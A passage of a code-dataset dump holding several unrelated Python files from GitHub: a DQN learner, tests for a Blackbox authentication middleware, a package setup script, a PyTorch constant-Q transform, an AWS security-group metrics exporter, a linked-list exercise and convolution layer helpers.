replay_memory:ReplayMemory, \n observation_space_size:int, \n action_space_size:int, \n device:torch.device, \n learning_rate:float=1e-4, \n gamma:float=0.99, \n tau:float=0.005, \n batch_size:int=128,\n hidden_layer1:int=64,\n hidden_layer2:int=64,\n ):\n self.policy_net = PolicyNetwork(observation_space_size, action_space_size,hidden_layer1,hidden_layer2).to(device)\n self.target_net = PolicyNetwork(observation_space_size, action_space_size,hidden_layer1,hidden_layer2).to(device)\n self.target_net.load_state_dict(self.policy_net.state_dict())\n\n self.optimizer = optim.AdamW(self.policy_net.parameters(), lr=learning_rate, amsgrad=True)\n self.memory = replay_memory\n self.gamma=gamma\n self.tau=tau\n self.batch_size=batch_size\n self.device=device\n\n\n def optimize_model(self):\n batch = self.memory.get_batch(self.batch_size)\n if batch is None:\n return\n\n # Compute a mask of non-final states and concatenate the batch elements\n # (a final state would've been the one after which simulation ended)\n non_final_mask = torch.tensor(tuple(map(lambda s: s is not None, \n batch.next_state)), device=self.device, dtype=torch.bool)\n aux=[s for s in batch.next_state if s is not None]\n non_final_next_states = torch.cat(aux)\n state_batch = torch.cat(batch.state)\n action_batch = torch.cat(batch.action)\n reward_batch = torch.cat(batch.reward)\n\n # Compute Q(s_t, a) - the model computes Q(s_t), then we select the\n # columns of actions taken. These are the actions which would've been taken\n # for each batch state according to policy_net\n state_action_values = self.policy_net(state_batch).gather(1, action_batch)\n\n # Compute V(s_{t+1}) for all next states.\n # Expected values of actions for non_final_next_states are computed based\n # on the \"older\" target_net; selecting their best reward with max(1)[0].\n # This is merged based on the mask, such that we'll have either the expected\n # state value or 0 in case the state was final.\n next_state_values = torch.zeros(self.batch_size, device=self.device)\n with torch.no_grad():\n next_state_values[non_final_mask] = self.target_net(non_final_next_states).max(1)[0]\n # Compute the expected Q values\n expected_state_action_values = (next_state_values * self.gamma) + reward_batch\n\n # Compute Huber loss\n criterion = nn.SmoothL1Loss()\n loss = criterion(state_action_values, expected_state_action_values.unsqueeze(1)) ## Essa é a linha que determina que o modelo é uma DDQN ao invés de uma DQN\n\n # Optimize the model\n self.optimizer.zero_grad()\n loss.backward()\n # In-place gradient clipping\n torch.nn.utils.clip_grad_value_(self.policy_net.parameters(), 100)\n self.optimizer.step()\n\n def update_target_network(self):\n # Soft update of the target network's weights\n # θ′ ← τ θ + (1 −τ )θ′\n target_net_state_dict = self.target_net.state_dict()\n policy_net_state_dict = self.policy_net.state_dict()\n for key in policy_net_state_dict:\n target_net_state_dict[key] = policy_net_state_dict[key]*self.tau + target_net_state_dict[key]*(1-self.tau)\n self.target_net.load_state_dict(target_net_state_dict)","repo_name":"lhcnetop/reinforcement_learning_dataframe_matching","sub_path":"agent/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"167093859","text":"import pytest\nfrom aiohttp import hdrs, web_urldispatcher\n\nfrom sendr_interactions.clients.blackbox import AbstractBlackBoxClient, OauthResult, SessionIdResult\nfrom sendr_interactions.clients.blackbox.exceptions import BlackBoxInvalidSessionError\n\nfrom hamcrest import assert_that, equal_to, has_item, has_properties\n\nfrom sendr_auth.blackbox import AuthenticationException, BlackboxAuthenticator\nfrom sendr_auth.entities import AuthenticationMethod, User\nfrom sendr_auth.middlewares import create_blackbox_middleware, optional_authentication, skip_authentication\n\nFAKE_USER_TICKET = 'fake_tvm_user_ticket'\nFAKE_LOGIN_ID = 'fake_login_id'\nFAKE_OAUTH_CLIENT_ID = 'fake_oauth_client_id'\n\n\n@pytest.fixture\ndef expected_uid(request):\n return getattr(request, 'param', 4029320686)\n\n\n@pytest.fixture\ndef blackbox_client(mocked_logger):\n return AbstractBlackBoxClient(logger=mocked_logger, request_id='')\n\n\nclass TestSessionId:\n @pytest.fixture\n def params(self, blackbox_client, mocked_logger):\n return {\n 'client': blackbox_client,\n 'scopes': None,\n 'authorization_header': None,\n 'session_id': 'session_id',\n 'user_ip': '192.0.2.1',\n 'default_uid': None,\n 'host': 'ya.ru',\n 'logger': mocked_logger,\n 'allowed_oauth_client_ids': None,\n }\n\n @pytest.fixture(autouse=True)\n def mock_blackbox(self, mocker, expected_uid):\n return mocker.patch.object(\n AbstractBlackBoxClient,\n 'get_session_info',\n mocker.AsyncMock(return_value=SessionIdResult(expected_uid, FAKE_LOGIN_ID, FAKE_USER_TICKET, True)),\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user(self, params, expected_uid, mocked_logger):\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.SESSION,\n is_yandexoid=True,\n ),\n )\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(uid=expected_uid, login_id=FAKE_LOGIN_ID, auth_source=AuthenticationMethod.SESSION)\n )\n )\n )\n\n @pytest.mark.asyncio\n async def test_invalid_session_id(self, mock_blackbox, params):\n mock_blackbox.side_effect = BlackBoxInvalidSessionError\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_empty_session_id(self, mock_blackbox, params):\n params['session_id'] = ''\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_blackbox_call(self, mock_blackbox, params):\n params['session_id'] = 'abc'\n params['default_uid'] = '12345'\n await BlackboxAuthenticator(**params).get_user()\n mock_blackbox.assert_called_once_with(\n session_id='abc',\n default_uid=12345,\n user_ip='192.0.2.1',\n host='ya.ru',\n get_user_ticket=True,\n )\n\n\nclass TestOAuth:\n @pytest.fixture\n def params(self, blackbox_client, mocked_logger):\n return {\n 'client': blackbox_client,\n 'scopes': [],\n 'authorization_header': 'oauth token',\n 'session_id': None,\n 'user_ip': '192.0.2.1',\n 'default_uid': None,\n 'host': 'ya.ru',\n 'logger': mocked_logger,\n 'allowed_oauth_client_ids': None,\n }\n\n @pytest.fixture\n def blackbox_oauth_result(self, expected_uid):\n return OauthResult(\n client_id=FAKE_OAUTH_CLIENT_ID,\n uid=expected_uid,\n login_id=FAKE_LOGIN_ID,\n tvm_ticket=FAKE_USER_TICKET,\n is_yandexoid=True,\n )\n\n @pytest.fixture(autouse=True)\n def mock_blackbox(self, mocker, blackbox_oauth_result):\n return mocker.patch.object(\n AbstractBlackBoxClient,\n 'get_oauth_token_info',\n mocker.AsyncMock(return_value=blackbox_oauth_result),\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user(self, params, expected_uid, mocked_logger):\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.OAUTH,\n is_yandexoid=True,\n ),\n )\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(uid=expected_uid, login_id=FAKE_LOGIN_ID, auth_source=AuthenticationMethod.OAUTH)\n )\n )\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user__if_oauth_client_allowed(self, params, expected_uid):\n params['allowed_oauth_client_ids'] = {FAKE_OAUTH_CLIENT_ID}\n\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.OAUTH,\n is_yandexoid=True,\n ),\n )\n\n @pytest.mark.asyncio\n async def test_calls_blackbox(self, params, mock_blackbox):\n await BlackboxAuthenticator(**params).get_user()\n\n mock_blackbox.assert_called_once_with(\n oauth_token='token', scopes=[], user_ip='192.0.2.1', get_user_ticket=True\n )\n\n @pytest.mark.parametrize(\n 'authorization_header, expected_message',\n (\n ('', 'MISSING_CREDENTIALS'),\n ('oauth', 'AUTHORIZATION_HEADER_MALFORMED'),\n ('bearer ToKeN', 'INCORRECT_AUTH_REALM'),\n )\n )\n @pytest.mark.asyncio\n async def test_when_oauth_token_empty__raises_exception(\n self, params, mock_blackbox, authorization_header, expected_message\n ):\n params['authorization_header'] = authorization_header\n with pytest.raises(AuthenticationException) as exc_info:\n await BlackboxAuthenticator(**params).get_user()\n\n assert_that(exc_info.value.message, equal_to(expected_message))\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('expected_uid', (None,), indirect=True)\n async def test_when_uid_empty__raises_exception(self, params, mock_blackbox):\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_when_token_rejected_by_blackbox__raises_exception(self, params, mock_blackbox):\n mock_blackbox.side_effect = BlackBoxInvalidSessionError\n\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_when_oauth_client_not_allowed__raises_exception(self, params, mock_blackbox, mocked_logger):\n params['allowed_oauth_client_ids'] = {'another_client_id'}\n\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(request_client_id=FAKE_OAUTH_CLIENT_ID, allowed_client_ids={'another_client_id'})\n )\n )\n )\n\n\nclass TestMiddleware:\n @pytest.fixture\n def mock_authenticator(self, mocker):\n return mocker.patch('sendr_auth.middlewares.BlackboxAuthenticator')\n\n @pytest.fixture(autouse=True)\n def mock_get_user(self, mocker, expected_uid, mock_authenticator):\n get_user_mock = mocker.AsyncMock(return_value=User(expected_uid))\n mock_authenticator.return_value.get_user = get_user_mock\n return get_user_mock\n\n @pytest.fixture\n def request_obj(self, expected_uid, mocked_logger):\n class Request(dict):\n pass\n\n request = Request()\n request['logger'] = mocked_logger\n request.path = '/'\n request.cookies = {}\n request.headers = {}\n request.query = {}\n request.remote = '127.0.0.1'\n request.method = hdrs.METH_GET\n request.match_info = None\n return request\n\n @pytest.fixture\n def middleware(self):\n return create_blackbox_middleware(\n AbstractBlackBoxClient,\n oauth_scopes=[],\n host='ya.ru',\n ignored_paths={'/ignored', '/v1/ignored'},\n ignored_path_prefixes={'/prefix-ignored'},\n allowed_oauth_client_ids={'fake_client_id'},\n )\n\n @pytest.mark.asyncio\n async def test_success(self, handler, middleware, request_obj, mock_get_user, expected_uid):\n await middleware(request_obj, handler)\n\n mock_get_user.assert_awaited_once()\n handler.assert_awaited_once_with(request_obj)\n assert_that(request_obj['user'].uid, equal_to(expected_uid))\n\n @pytest.mark.asyncio\n async def test_authenticator_init_call(self, handler, middleware, request_obj, mock_authenticator, mocker):\n await middleware(request_obj, handler)\n\n mock_authenticator.assert_called_once_with(\n client=mocker.ANY,\n scopes=[],\n authorization_header=request_obj.headers.get('Authorization'),\n session_id=request_obj.cookies.get('Session_id'),\n default_uid=request_obj.query.get('default_uid'),\n user_ip=request_obj.remote,\n host='ya.ru',\n logger=request_obj['logger'],\n allowed_oauth_client_ids={'fake_client_id'},\n )\n\n @pytest.mark.asyncio\n async def test_fail(self, handler, middleware, request_obj, mock_get_user):\n mock_get_user.side_effect = AuthenticationException\n\n with pytest.raises(AuthenticationException):\n await middleware(request_obj, handler)\n\n @pytest.mark.asyncio\n async def test_safe_method(self, handler, middleware, request_obj, mock_get_user):\n request_obj.method = hdrs.METH_OPTIONS\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_skip_authentication(self, handler, middleware, request_obj, mock_get_user):\n handler = skip_authentication(handler)\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_ignored_paths(self, handler, middleware, request_obj, mock_get_user):\n request_obj.path = '/ignored'\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_ignored_path_prefix(self, handler, middleware, request_obj, mock_get_user):\n request_obj.path = '/prefix-ignored'\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_optional_authentication(self, handler, middleware, request_obj, mock_get_user):\n handler = optional_authentication(handler)\n mock_get_user.side_effect = AuthenticationException\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_awaited_once()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_not_found(self, handler, middleware, request_obj, mock_get_user):\n request_obj.match_info = web_urldispatcher.MatchInfoError(Exception)\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/test_blackbox.py","file_name":"test_blackbox.py","file_ext":"py","file_size_in_byte":12542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32390090066","text":"#!/usr/bin/env python\n\nfrom setuptools import find_packages\nfrom setuptools import setup\nimport codecs\nimport os.path\n\ndef read(rel_path):\n here = os.path.abspath(os.path.dirname(__file__))\n with codecs.open(os.path.join(here, rel_path), 'r') as fp:\n return fp.read()\n\ndef get_version(rel_path):\n for line in read(rel_path).splitlines():\n if line.startswith('__version__'):\n delim = '\"' if '\"' in line else \"'\"\n return line.split(delim)[1]\n else:\n raise RuntimeError(\"Unable to find version string.\")\nversion=get_version(\"src/wlabkit/__init__.py\")\n\nwith open(\"README.rst\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetup(\n name='wlabkit',\n version=version,\n url='https://github.com/BioGavin/wlab',\n license='GPL',\n author='Zhen-Yi Zhou',\n author_email=\"gavinchou64@gmail.com\",\n description=\"A toolkit to handle bio-data from WeiBin Lab.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n classifiers=[\"Programming Language :: Python :: 3.8\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\"],\n scripts=['scripts/wlabkit'],\n package_dir={\"\": \"src\"},\n packages=find_packages(where=\"src\"),\n include_package_data=True,\n python_requires=\">=3.8\",\n install_requires=[\n \"biopython\",\n \"numpy\",\n \"pandas\",\n \"python-dateutil\",\n \"pytz\",\n \"six\"\n ]\n)\n","repo_name":"BioGavin/wlabkit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"6587182446","text":"import math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport librosa as lr\n\npi = np.pi\n\n\ndef complex_multiply(a, b, complex_dim_a=None, complex_dim_b=None):\n # if a.shape != b.shape:\n # print('a and b must have the same shape')\n # print('shape a:', a.shape, 'shape b:', b.shape)\n\n r = torch.LongTensor([0]).to(a.device)\n\n if complex_dim_a is None:\n complex_dim_a = len(a.shape) - 1\n\n if complex_dim_b is None:\n complex_dim_b = len(b.shape) - 1\n\n real_a = torch.index_select(a, complex_dim_a, r).squeeze(complex_dim_a)\n imag_a = torch.index_select(a, complex_dim_a, r+1).squeeze(complex_dim_a)\n real_b = torch.index_select(b, complex_dim_b, r).squeeze(complex_dim_b)\n imag_b = torch.index_select(b, complex_dim_b, r+1).squeeze(complex_dim_b)\n\n product_real = real_a * real_b - imag_a * imag_b\n product_imag = real_a * imag_b + imag_a * real_b\n\n stack_dim = max(complex_dim_a, complex_dim_b)\n return torch.stack([product_real, product_imag], dim=stack_dim)\n\n\ndef amplitude(z, complex_dim=None):\n r = torch.LongTensor([0]).to(z.device)\n\n if complex_dim is None:\n complex_dim = len(z.shape) - 1\n real = torch.index_select(z, complex_dim, r).squeeze(dim=complex_dim)\n imag = torch.index_select(z, complex_dim, r+1).squeeze(dim=complex_dim)\n return torch.sqrt(real ** 2 + imag ** 2)\n\n\ndef angle(z, complex_dim=None):\n r = torch.LongTensor([0]).to(z.device)\n if complex_dim is None:\n complex_dim = len(z.shape) - 1\n real = torch.index_select(z, complex_dim, r).squeeze(dim=complex_dim)\n imag = torch.index_select(z, complex_dim, r+1).squeeze(dim=complex_dim)\n return torch.atan2(imag, real)\n\n\ndef polar_to_complex(abs, angle, complex_dim=None):\n real = abs * torch.cos(angle)\n imag = abs * torch.sin(angle)\n if complex_dim is None:\n complex_dim = len(abs.shape)\n return torch.stack([real, imag], dim=complex_dim)\n\n\ndef to_complex(real, imag, complex_dim=None):\n if complex_dim is None:\n complex_dim = len(real.shape)\n return torch.stack([real, imag], dim=complex_dim)\n\n\ndef unwrap(x):\n y = x.clone()\n y[torch.gt(x, pi)] = x[torch.gt(x, pi)] - 2*pi\n y[torch.lt(x, -pi)] = x[torch.lt(x, -pi)] + 2*pi\n return y\n\n\nclass CQT(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, filter_scale=1., hop_length=128, trainable=False):\n super().__init__()\n\n self.hop_length = hop_length\n\n self.sr = sr\n self.fmin = fmin\n self.n_bins = n_bins\n self.bins_per_octave = bins_per_octave\n self.filter_scale = filter_scale\n self.hop_length = hop_length\n\n # load filters\n cqt_filters, cqt_filter_lenghts = lr.filters.constant_q(sr,\n fmin=fmin,\n n_bins=n_bins,\n bins_per_octave=bins_per_octave,\n filter_scale=filter_scale)\n self.cqt_filter_lengths = cqt_filter_lenghts\n\n # one convolution operation per octave\n self.conv_kernel_sizes = [] # the kernel sizes of the octaves\n self.conv_index_ranges = [] # the indices belonging to each convolution operation\n current_kernel_size = None\n last_change_index = 0\n for i, l in enumerate(cqt_filter_lenghts):\n kernel_size = 2 ** math.ceil(np.log2(l))\n if current_kernel_size is not None and kernel_size >= current_kernel_size:\n # continue if this is in the same octave\n continue\n self.conv_kernel_sizes.append(kernel_size)\n current_kernel_size = kernel_size\n if i != 0:\n self.conv_index_ranges.append(range(last_change_index, i))\n last_change_index = i\n self.conv_index_ranges.append(range(last_change_index, len(self.cqt_filter_lengths)))\n\n filter_length = cqt_filters.shape[-1]\n self.conv_modules = nn.ModuleList()\n for i, size in enumerate(self.conv_kernel_sizes):\n this_range = self.conv_index_ranges[i]\n offset = (filter_length - size) // 2\n if offset > 0:\n this_filter = cqt_filters[this_range, offset:-offset]\n else:\n this_filter = cqt_filters[this_range, :]\n this_filter = torch.cat([torch.from_numpy(np.real(this_filter)),\n torch.from_numpy(np.imag(this_filter))], dim=0).type(torch.FloatTensor)\n this_conv = nn.Conv1d(in_channels=1, out_channels=this_filter.shape[0], kernel_size=size, bias=False,\n stride=hop_length) # , padding=size // 2)\n this_conv.weight = torch.nn.Parameter(this_filter.unsqueeze(1), requires_grad=False) # should be False\n self.conv_modules.append(this_conv)\n\n self._trainable = False\n self.trainable = trainable\n\n @property\n def trainable(self):\n return self._trainable\n\n @trainable.setter\n def trainable(self, value):\n for p in self.parameters():\n p.requires_grad = value\n self._trainable = value\n\n def forward(self, x):\n real = []\n imag = []\n for i, conv in enumerate(self.conv_modules):\n offset = (self.conv_kernel_sizes[0] - self.conv_kernel_sizes[i]) // 2\n conv_result = conv(x[:, :, offset:-(offset+1)])\n r, i = torch.chunk(conv_result, 2, dim=1)\n real.append(r)\n imag.append(i)\n real = torch.cat(real, dim=1)\n imag = torch.cat(imag, dim=1)\n return torch.stack([real, imag], dim=3)\n\n\nclass PhaseDifference(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, hop_length=128):\n super().__init__()\n\n freqs = lr.time_frequency.cqt_frequencies(fmin=fmin,\n bins_per_octave=bins_per_octave,\n n_bins=n_bins)\n self.fixed_phase_diff = torch.from_numpy((((1.0 * freqs * hop_length / sr) + 0.5) % 1 - 0.5) * 2 * np.pi)\n self.fixed_phase_diff = self.fixed_phase_diff.type(torch.FloatTensor).view(1, -1, 1)\n self.fixed_phase_diff = torch.nn.Parameter(self.fixed_phase_diff, requires_grad=False)\n self.scaling = torch.from_numpy(1 / np.log(freqs))\n self.scaling = self.scaling.type(torch.FloatTensor).view(1, -1, 1)\n self.scaling = torch.nn.Parameter(self.scaling, requires_grad=False)\n\n def forward(self, x):\n phase_diff = x[:, :, 1:] - x[:, :, :-1]\n pd = phase_diff + self.fixed_phase_diff\n pd = unwrap(pd) * self.scaling\n return pd\n\n\nclass PhaseAccumulation(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, hop_length=128):\n super().__init__()\n\n freqs = lr.time_frequency.cqt_frequencies(fmin=fmin,\n bins_per_octave=bins_per_octave,\n n_bins=n_bins)\n self.fixed_phase_diff = torch.from_numpy((((1.0 * freqs * hop_length / sr) + 0.5) % 1 - 0.5) * 2 * np.pi)\n self.fixed_phase_diff = self.fixed_phase_diff.type(torch.FloatTensor).view(1, -1, 1)\n self.scaling = torch.from_numpy(1 / np.log(freqs))\n self.scaling = self.scaling.type(torch.FloatTensor).view(1, -1, 1)\n self.start_phase = torch.zeros_like(self.scaling)\n self.scaling = torch.nn.Parameter(self.scaling, requires_grad=False)\n self.start_phase = torch.nn.Parameter(self.start_phase, requires_grad=False)\n\n def forward(self, x):\n x = (x / self.scaling) - self.fixed_phase_diff\n x = torch.cat([self.start_phase, x], dim=2)\n x = torch.cumsum(x, dim=2)\n return x % (2 * np.pi) - np.pi","repo_name":"vincentherrmann/immersions-model","sub_path":"immersions/model/constant_q_transform.py","file_name":"constant_q_transform.py","file_ext":"py","file_size_in_byte":8012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"18099535184","text":"import csv\nimport os\n\npath = \"/Users/jasonhartford/Documents/Economics/econ 1 data/Economics-1-gender-analysis/Student Data/\"\nfilename = \"01. ECON1008 2011 Registered students personal info and matric resultsDIS.csv\"\nfullname = path+filename\n\nprint(fullname)\n\nwith open((path+filename),\"rb\") as f:\n\treader = csv.reader(f, delimiter = ',')\n#\treader.next()\n\tprint(reader.next()[0:15])\n#for line in reader:\n#\tprint(line[3])\nf.close()\n#try:\n#\treader = csv.reader(f)\n#\tfor line in reader:\n#\t\tprint(line)\n\n#f.close()\n","repo_name":"jhartford/Economics-1-gender-analysis","sub_path":"Student data/transposeDate.py","file_name":"transposeDate.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14178962230","text":"import socket\nimport time\n\nimport boto3\nimport prometheus_client\n\n\nclient = None\nassume_role_state = {}\n\n\ndef ec2(assume_role_arn, aws_region):\n global client\n if assume_role_arn and\\\n ('renewal' not in assume_role_state or time.time() - assume_role_state.get('renewal', 0) > 3000):\n s = boto3.Session()\n sts = s.client('sts')\n assume_role_object = sts.assume_role(\n RoleArn=assume_role_arn,\n RoleSessionName=f'sg-exporter-{socket.gethostname()}',\n DurationSeconds=3600\n )\n client = boto3.client(\n 'ec2',\n aws_access_key_id=assume_role_object['Credentials']['AccessKeyId'],\n aws_secret_access_key=assume_role_object['Credentials']['SecretAccessKey'],\n aws_session_token=assume_role_object['Credentials']['SessionToken'],\n region_name=aws_region,\n )\n assume_role_state['renewal'] = time.time()\n elif client is None:\n client = boto3.client('ec2')\n return client\n\n\nsec_groups = {}\n\naws_sg_info = prometheus_client.Counter('aws_sg_info',\n documentation='AWS Security Group information',\n labelnames=('GroupId', 'GroupName'))\naws_sg_rule_info = prometheus_client.Counter('aws_sg_rule_info',\n documentation='AWS Security Group rule information',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'Type'))\naws_sg_rule_ip_range = prometheus_client.Counter('aws_sg_rule_ip_range',\n documentation='AWS Security Group rule IP range info',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'IpRangeCidr',\n 'Type'))\naws_sg_rule_sg_peer = prometheus_client.Counter('aws_sg_rule_sg_peer',\n documentation='AWS Security Group rule peered security group info',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'UserSecurityGroup',\n 'Type'))\n","repo_name":"verygood-ops/sg-exporter","sub_path":"sg_exporter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25427234888","text":"#!/usr/bin/python3\n\"\"\"\nLinkedList length must be even number\n\"\"\"\nfrom LinkedList import LinkedList\n\n\ndef runner():\n ll = LinkedList()\n for i in range(1, 10, 2):\n ll.appendToTail(i)\n for i in range(2, 11, 2):\n ll.appendToTail(i)\n\n print('Before - ', ll)\n p1 = p2 = ll.__get__()\n\n while p1.next is not None and p1.next.next is not None:\n p1 = p1.next.next\n p2 = p2.next\n\n p2 = p2.next\n p1 = ll.__get__()\n\n while p2.next is not None:\n temp = p1.next\n p1.next = p2\n p1 = temp\n\n temp = p2.next\n p2.next = p1\n p2 = temp\n\n p1.next = p2\n print('After - ', ll)\n\n\nif __name__ == \"__main__\":\n runner()\n","repo_name":"tahmid-tanzim/problem-solving","sub_path":"Linked_Lists/runner-technique.py","file_name":"runner-technique.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"2888744488","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom typing import Callable, Optional, List\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport pdb\n\n\nclass BasicConv(nn.Module):\n\n def __init__(self, in_channels, out_channels, deconv=False, is_3d=False, bn=True, relu=True, **kwargs):\n super(BasicConv, self).__init__()\n\n self.relu = relu\n self.use_bn = bn\n if is_3d:\n if deconv:\n self.conv = nn.ConvTranspose3d(in_channels, out_channels, bias=False, **kwargs)\n else:\n self.conv = nn.Conv3d(in_channels, out_channels, bias=False, **kwargs)\n self.bn = nn.BatchNorm3d(out_channels)\n else:\n if deconv:\n self.conv = nn.ConvTranspose2d(in_channels, out_channels, bias=False, **kwargs)\n else:\n self.conv = nn.Conv2d(in_channels, out_channels, bias=False, **kwargs)\n self.bn = nn.BatchNorm2d(out_channels)\n self.LeakyReLU = nn.LeakyReLU()\n\n def forward(self, x):\n x = self.conv(x)\n if self.use_bn:\n x = self.bn(x)\n if self.relu:\n x = self.LeakyReLU(x)#, inplace=True)\n return x\n\n\nclass Conv2x(nn.Module):\n\n def __init__(self, in_channels, out_channels, deconv=False, is_3d=False, concat=True, keep_concat=True, bn=True, relu=True, keep_dispc=False):\n super(Conv2x, self).__init__()\n self.concat = concat\n self.is_3d = is_3d \n if deconv and is_3d: \n kernel = (4, 4, 4)\n elif deconv:\n kernel = 4\n else:\n kernel = 3\n\n if deconv and is_3d and keep_dispc:\n kernel = (1, 4, 4)\n stride = (1, 2, 2)\n padding = (0, 1, 1)\n self.conv1 = BasicConv(in_channels, out_channels, deconv, is_3d, bn=True, relu=True, kernel_size=kernel, stride=stride, padding=padding)\n else:\n self.conv1 = BasicConv(in_channels, out_channels, deconv, is_3d, bn=True, relu=True, kernel_size=kernel, stride=2, padding=1)\n\n if self.concat: \n mul = 2 if keep_concat else 1\n self.conv2 = BasicConv(out_channels*2, out_channels*mul, False, is_3d, bn, relu, kernel_size=3, stride=1, padding=1)\n else:\n self.conv2 = BasicConv(out_channels, out_channels, False, is_3d, bn, relu, kernel_size=3, stride=1, padding=1)\n\n def forward(self, x, rem):\n x = self.conv1(x)\n if x.shape != rem.shape:\n x = F.interpolate(\n x,\n size=(rem.shape[-2], rem.shape[-1]),\n mode='nearest')\n if self.concat:\n x = torch.cat((x, rem), 1)\n else: \n x = x + rem\n x = self.conv2(x)\n return x\n\n\ndef BasicConv2d(in_channels, out_channels, kernel_size, stride, pad, dilation):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride,\n padding=dilation if dilation > 1 else pad, dilation=dilation, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicTransposeConv2d(in_channels, out_channels, kernel_size, stride, pad, dilation):\n output_pad = stride + 2 * pad - kernel_size * dilation + dilation - 1\n return nn.Sequential(\n nn.ConvTranspose2d(in_channels, out_channels, kernel_size, stride, pad, output_pad, dilation, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicConv3d(in_channels, out_channels, kernel_size, stride, pad, dilation=1):\n return nn.Sequential(\n nn.Conv3d(in_channels, out_channels, kernel_size=kernel_size, stride=stride,\n padding=pad, dilation=dilation, bias=False),\n nn.BatchNorm3d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicTransposeConv3d(in_channels, out_channels, kernel_size, stride, pad, output_pad=0, dilation=1):\n # output_pad = stride + 2 * pad - kernel_size * dilation + dilation - 1\n return nn.Sequential(\n nn.ConvTranspose3d(in_channels, out_channels, kernel_size, stride,\n pad, output_pad, dilation, bias=False),\n nn.BatchNorm3d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n 